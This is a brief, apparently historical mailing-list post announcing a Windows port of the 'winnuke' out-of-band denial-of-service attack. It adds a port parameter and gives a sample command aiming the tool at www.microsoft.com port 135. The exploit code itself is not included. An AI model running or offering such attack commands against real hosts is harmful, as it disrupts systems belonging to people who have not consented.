Windows port of OOB attack code

[ebs () GLASNET RU (Eugene Surovegin)]

Hello,

Here is a Windows port of original winnuke.c by _eci. I compiled it with MS
Visual C++ 4.2b.
I added one additional parameter - <port>.
Now you can call
        >winnuke.exe www.microsoft.com 135

It looks like only port 139 is vulnerable (but who knows...)
